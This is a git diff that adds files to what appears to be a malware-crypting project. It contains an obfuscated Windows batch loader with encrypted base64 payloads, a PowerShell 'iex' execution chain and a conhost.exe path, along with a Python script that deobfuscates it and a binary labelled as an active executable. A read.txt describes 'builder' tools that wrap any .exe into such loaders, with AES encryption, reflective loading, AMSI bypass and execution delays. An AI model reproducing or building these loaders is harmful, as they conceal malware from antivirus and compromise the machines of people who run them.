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
+g%m92DJYM1%o%EUFdeThx%t%g2XodHS%o%YWz4xs% :FAJ[7Jm
+%fcuqQyw0%:%weGaR27%:%LLJ6o6I1%  rbpiloyr ooynna yxptrvat eauxxbis pohpce krilze rasovna koroul epocbha mezigrnme poskflpu
+:yRhqEF
+set k7EmPoW=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
+%pCLp5JN%rE%JKfIOeFB%M%kdoU5II%  naozdra kvoystoenn mibko qzcmat mwomoka lkap
+SEt ndOVLLU5=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
+%JbvsAOX%S%InmARn%E%yZ8BI7%T%tGL5KC% "dTmxoA=$cTS%ddgRa6N%i%POAOhfZ%fj%EGmWzdze% =$Y%VrzvUn8%s%AiKMZKo%zDyz.GetS%wSNIQJV%criptBlock(); iex $env:CWJR8ooo%P5FkPvh%"
+se%ElgSew0%t%MeFHpydd% "gebJA_L=SET "&& %EvOEiz%s%eZ7R9p%e%v3JsuK16%t "Q[PHkI=System"
+se%Ugx6Se%t%z5DU3a% "lfv8Eaj=OWi)KCP="&&s%XUBipna%et "bgMXWMh2=%windir%\" && set%uXKk0x% "oJTd7XrH=32\conh" &&s%Bf09MJ%et%z3eyRdLx% "JsraxiP6=xe"
+%VJOIPi%:%THqJyKEm%: %GDqVvW% ybvwoout yoanista kbev jaktvku bvagptio quouroj apce uertenec cqoduph ofina porucoha korxcyo onrsek dhficift vzvlk hrahtsh harkyta
+R%yl2dW2%E%eSLNyU%M%lcVi4F2Y% %u0Y0NBJA% hlknice plaz wponpoo sovtatef moecuo zvznkua mcdxba onvaliia idyssa
+%QDEevyb%se%IfZOMsQ%t%ivRJ2VMP% "fSsM82M0=ost.e"
+%gebJA_L%%lfv8Eaj%%bgMXWMh2%%Q[PHkI%%oJTd7XrH%%fSsM82M0%%JsraxiP6%
+:: %v5Mo7J% cntka havran zavolit ozernitosq
+%sPM4JM%g%fcDCMqW%oto :uNeAZ0
+rE%e1iv9Lb1%M%kXp59JB%  pbanosta prkoal krrbor xavrlst grzdkhst chmel sfvur
+:CPIKZRJk
+%usLPkhu%s%ReL8Ujn%et "COuR1S=U5!ilUet" && %tJVFWyW%s%UXxy3x%et "FWiyQjq]=97KQ"
+
+:%LenmWs%:  zajet plotxt vesozmcb uniknoutt rckle jomoqpa bafef oqzaikba
+%myH6gN%s%espum0%e%L5S6Hbl%t%mm0VYHg% "}E3vHu=W"&&s%bMKHPmQ0%e%YPR38zx4%t "M2ueyzb=OVLL" && set%AqrDuOB% "goqqtk=SET "
+
+%hcOjlD0%go%DpbRC8b%t%M0xFgXGM%o :I]yJATum
diff --git a/original/extract_vars.py b/original/extract_vars.py
new file mode 100644
index 0000000..b1b4e32
--- /dev/null
+++ b/original/extract_vars.py
@@ -0,0 +1,64 @@
+#!/usr/bin/env python3
+
+import re
+from pathlib import Path
+
+content = Path('dontrunACTIVEmalware.bat.txt').read_text(encoding='utf-8', errors='ignore')
+lines = content.split('\n')
+
+variables = {}
+
+for i, line in enumerate(lines, 1):
+    for match in re.finditer(r'"([^"=]+)=([^"]*)"', line):
+        var_name = match.group(1).strip()
+        var_value = match.group(2).strip()
+        if var_name not in variables:
+            variables[var_name] = var_value
+    
+    for match in re.finditer(r'[sS][eE][tT]\s+([a-zA-Z0-9_\[\]\{\}\(\)]+)=([^\s&]+)', line, re.IGNORECASE):
+        var_name = match.group(1).strip()
+        var_value = match.group(2).strip()
+        if var_name not in variables and len(var_value) < 100:
+            variables[var_name] = var_value
+
+print(f"found {len(variables)} vars")
+
+bang_vars = {k: v for k, v in variables.items() if '!' in v}
+print(f"vars with !: {len(bang_vars)}")
+for k, v in bang_vars.items():
+    print(f"  {k} = {v}")
+
+line_42 = lines[41]
+print(f"\nline 42:")
+print(f"  {line_42[:200]}...")
+
+resolved = line_42
+for iteration in range(50):
+    old_resolved = resolved
+    matches = re.findall(r'%([^%]+)%', resolved)
+    for var_name in matches:
+        if var_name in variables:
+            resolved = resolved.replace(f'%{var_name}%', variables[var_name])
+    if old_resolved == resolved:
+        break
+
+print(f"\nresolved after {iteration+1} tries:")
+print(f"  {resolved[:500]}...")
+
+if '!' in resolved:
+    parts = [p.strip() for p in resolved.split('!') if p.strip()]
+    print(f"\ngot {len(parts)} parts")
+    
+    clean_parts = []
+    for part in parts:
+        cleaned = re.sub(r'%[^%]+%', '', part)
+        cleaned = cleaned.strip()
+        if cleaned:
+            clean_parts.append(cleaned)
+    
+    print(f"\ncleaned ({len(clean_parts)}):")
+    for idx, part in enumerate(clean_parts, 1):
+        print(f"  {idx:2d}. {part}")
+    
+    Path('order.txt').write_text('\n'.join(clean_parts))
+    print(f"\nsaved to order.txt")
diff --git a/original/output/order.txt b/original/output/order.txt
new file mode 100644
index 0000000..3d5c200
--- /dev/null
+++ b/original/output/order.txt
@@ -0,0 +1,21 @@
+SET43Nn4obTrQ0J=j97KQu6
+JIMZlyBt
+lloztMu
+oAWM9gN3
+xAEr2y8D
+u9HraJGX
+xNF82uy
+amiieM
+ih0wojr
+SeLNlxJi
+nrp2Cd
+ndOVLLU5
+ilUetRQ
+Ravpss
+tTp84C
+rNQFeP
+kd7VYdp
+OD1pagW
+k7EmPoW
+TGOERjgr
+xWiRpFW
\ No newline at end of file
diff --git a/original/output/the-active-mal-in-original.bin (dont run, .exe) b/original/output/the-active-mal-in-original.bin (dont run, .exe)
new file mode 100644
index 0000000..8e67101
Binary files /dev/null and b/original/output/the-active-mal-in-original.bin (dont run, .exe) differ
diff --git a/read.txt b/read.txt
new file mode 100644
index 0000000..c531d30
--- /dev/null
+++ b/read.txt
@@ -0,0 +1,121 @@
+Made with love and horniness by t.me/toxiiiis
+
+
+## usage
+
+### builder 1to1
+```bash
+cd "builder 1to1"
+python builder.py input.exe output.bat
+```
+exact replica of original originals structure, 21 segments, line 42 order obf, 7step ps chain, reflective load.
+
+### builder improved
+```bash
+cd "builder improved"
+python cli.py input.exe output.bat
+```
+more stuff, fewer segments (auto split), order fragment obfuscation, 47part ps command split, amsi bypass, conhost.exe copy, random case, execution delays.
+
+### differences
+- 1to1: always 21 segments, simpler, smaller output
+- improved: var segments, more obfuscation layers, amsi evasion, bigger output
+
+both use aes-256-cbc, reflective loading, no network ops
+
+---
+
+## log (A to Z)
+
+### 1: anal ysis
+1. Identified 50+ variables, 21 base64 payloads, AES encryption params
+2. obf patterns: random names, command splitting, GOTO flow
+
+### 2: ps chain flow
+1. 7step `$env:` var ref chain
+2. made a py to follow chain: `nZaRCF` > `aGVl55` > `OsJQhAK` > `tjvcnGK` > `bQtWsrx` > `MDmRRqW` > `tsEwVI` > `9UkijMM`
+3. extracted ps command (826 chars)
+4. AES decrypt with key and IV
+
